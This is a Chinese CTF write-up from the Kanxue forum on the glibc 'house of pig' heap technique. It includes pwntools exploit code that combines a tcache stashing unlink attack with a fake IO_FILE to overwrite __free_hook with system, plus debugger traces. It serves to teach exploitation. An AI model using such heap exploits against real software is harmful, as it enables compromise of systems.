#----- tcache_stashing_unlink_attack and FILE attackChange(1)payload = 'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)Edit(8, payload + '\n')#A8原本是0x190的chunk,然后被切割为了0xf0和0xa0的chunk,由于uaf,edit A8可以直接修改到0xa0的smallbin的fd和bk#tcache_stashing_unlink plus的利用条件就是在不修改fd的情况下将bk修改为目标地址-0x10,我们的目标地址是free_hook-0x10,因此要将bk修改为free_hook-0x20Change(3)payload = '\x00'*0x18 + p64(heap_base+0x147c0)payload = payload.ljust(0x158, '\x00')Add(0x440, payload) # C3 change fake FILE _chain#io_list_all被覆盖为了0x440的largebin的地址,我们将这个largebin申请回来,在其中设置下一个chain,并在这个chain指向的chunk中伪造IO_FILEAdd(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache#触发tcache_stashing_unlink_attack,将free_hook-0x10链入tcache中IO_str_vtable = libc_base + 0x1ED560system_addr = libc_base + libc.sym['system']fake_IO_FILE = 2*p64(0) #根据我们前面分析的,fp->flag=0fake_IO_FILE += p64(1)                    #change _IO_write_base = 1fake_IO_FILE += p64(0xffffffffffff)        #change _IO_write_ptr = 0xffffffffffff#满足fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_basefake_IO_FILE += p64(0)fake_IO_FILE += p64(heap_base+0x148a0)                #v4 _IO_buf_basefake_IO_FILE += p64(heap_base+0x148b8)                #v5 _IO_buf_endfake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')fake_IO_FILE += p64(0)                    #change _mode = 0fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')fake_IO_FILE += p64(IO_str_vtable)        #change vtablepayload = fake_IO_FILE + '/bin/sh\x00' + 2*p64(system_addr)sa('Gift:', payload)#使用角色三也就是daddy申请到C4时会有一个gift Menu(5)sla('user:\n', '')
在largebin中设置好chain,在使用角色三daddy申请到C4时会有一个gift。

会额外申请一个0xf0的chunk,然后往其中读入数据,并且是连续读入: 
这个0xf0的chunk会从unsortedbin中切割:
 
largebin中的chain指向的正是这个chunk,使用fp命令可以将这个地址作为一个IO_FILE结构体查看。
 
 
根据io_str_overflow申请chunk的size计算规则:

new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)

pwndbg> p/x 2*(0x55abc745a8b8-0x55abc745a8a0)+100$2 = 0x94

根据malloc的申请规则,会申请0xa0的chunk,此时0xa0的tcache中的第一个chunk为free_hook-0x10。
 
 
malloc申请完chunk后,如果_IO_buf_base指向的空间有数据的话就会将其中的数据拷贝到new_buf中,也就是free_hook-0x10,_IO_buf_base指向位置的数据为/bin/sh和system的地址。

因此最终会将/bin/sh拷贝到free_hook-0x10,将system拷贝到free_hook-0x8和free_hook,最终调用free则会触发system('/bin/sh')。 

而 house of pig的触发条件就是调用 _IO_flush_all_lockp的条件,即需要满足如下三个之一:
  1. 当 libc 执行abort流程时。

  2. 程序显式调用 exit 。

  3. 程序能通过主函数返回。

 
这个程序里调用了很多exit,可以触发houseof pig,我们跟到io_str_overflow里看看执行过程: 
pwndbg> p/x new_size$3 = 0x94

size和我们计算的一样,调用malloc之前。 

调用malloc之后: 


free_hook已经被申请出去了,接下来开始memcpy: 
 old_buf指向的的数据是/bin/sh,memcpy执行之后:
随后就是getshell:
最后提一下,为什么要将chunk申请到free_hook-0x10而不是free_hook-0x8?是因为新版本的glibc对tcache增加了检查,tcache申请的地址需要0x10对齐,这就是原因。

通过这题学到了很多,也复习巩固了很多知识点,耐着性子进行调试,硬着头皮恢复了结构体,收获满满。


参考链接:


house of pig一个新的堆利用详解——安全客,安全资讯平台 (anquanke.com)

 

新版本glibc下的IO_FILE攻击 - 安全客,安全资讯平台 (anquanke.com)




 


看雪ID:Lpwn

https://bbs.pediy.com/user-home-865862.htm

  *本文由看雪论坛 Lpwn 原创,转载请注明来自看雪社区










# 往期推荐





公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存